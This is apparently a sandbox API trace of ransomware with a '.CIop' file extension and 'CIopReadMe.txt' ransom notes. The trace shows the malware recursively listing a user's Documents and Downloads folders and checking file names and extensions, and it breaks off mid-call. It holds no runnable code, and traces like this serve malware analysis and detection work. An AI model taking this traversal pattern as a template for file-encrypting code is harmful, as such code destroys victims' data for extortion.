lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0138.485] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0138.485] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0138.485] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0138.485] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0138.485] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0138.485] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0138.485] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0138.485] SetErrorMode (uMode=0x1) returned 0x1 [0138.485] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0138.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0138.486] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0138.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0138.486] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0138.486] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0138.486] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0138.486] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.486] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.486] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.486] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.486] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.486] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.486] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2="..") returned 1 [0138.486] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2=".") returned 1 [0138.486] lstrlenW (lpString=".CIop") returned 5 [0138.486] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.486] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2="..") returned 1 [0138.486] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2=".") returned 1 [0138.486] lstrlenW (lpString=".CIop") returned 5 [0138.486] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.486] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2="..") returned 1 [0138.486] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2=".") returned 1 [0138.486] lstrlenW (lpString=".CIop") returned 5 [0138.486] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0138.486] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.486] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.486] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0138.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0138.486] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67deb8 [0138.486] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0138.486] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0138.486] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.487] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.487] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.487] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.487] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.487] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.487] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0138.487] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0138.487] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0138.487] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.487] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.487] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.487] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0138.487] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0138.487] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.487] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0138.487] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0138.487] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0138.487] SetErrorMode (uMode=0x1) returned 0x1 [0138.487] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0138.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0138.487] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0138.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0138.487] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.487] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0138.487] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0138.487] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2=".") returned 1 [0138.488] lstrlenW (lpString=".CIop") returned 5 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2=".") returned 1 [0138.488] lstrlenW (lpString=".CIop") returned 5 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2=".") returned 1 [0138.488] lstrlenW (lpString=".CIop") returned 5 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.488] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2=".") returned 1 [0138.488] lstrlenW (lpString=".CIop") returned 5 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2=".") returned 1 [0138.488] lstrlenW (lpString=".CIop") returned 5 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.488] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2="..") returned 1 [0138.488] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2=".") returned 1 [0138.488] lstrlenW (lpString=".CIop") returned 5 [0138.488] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.488] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.488] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.488] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0138.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0138.488] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0138.488] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0138.488] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0138.488] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.489] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0138.489] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0138.489] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.489] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0138.489] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0138.489] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.489] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.489] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.489] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.489] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.490] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.490] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.490] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.490] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0138.490] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0138.490] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0138.490] SetErrorMode (uMode=0x1) returned 0x1 [0138.490] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0138.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0138.490] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0138.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0138.490] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.490] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0138.490] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0138.490] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.490] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.490] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0138.490] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0138.490] lstrlenW (lpString=".exe") returned 4 [0138.490] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.490] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.490] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.490] lstrlenW (lpString="desktop.ini") returned 11 [0138.490] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.490] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0138.490] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0138.490] lstrlenW (lpString=".exe") returned 4 [0138.490] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.490] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.490] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.491] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") 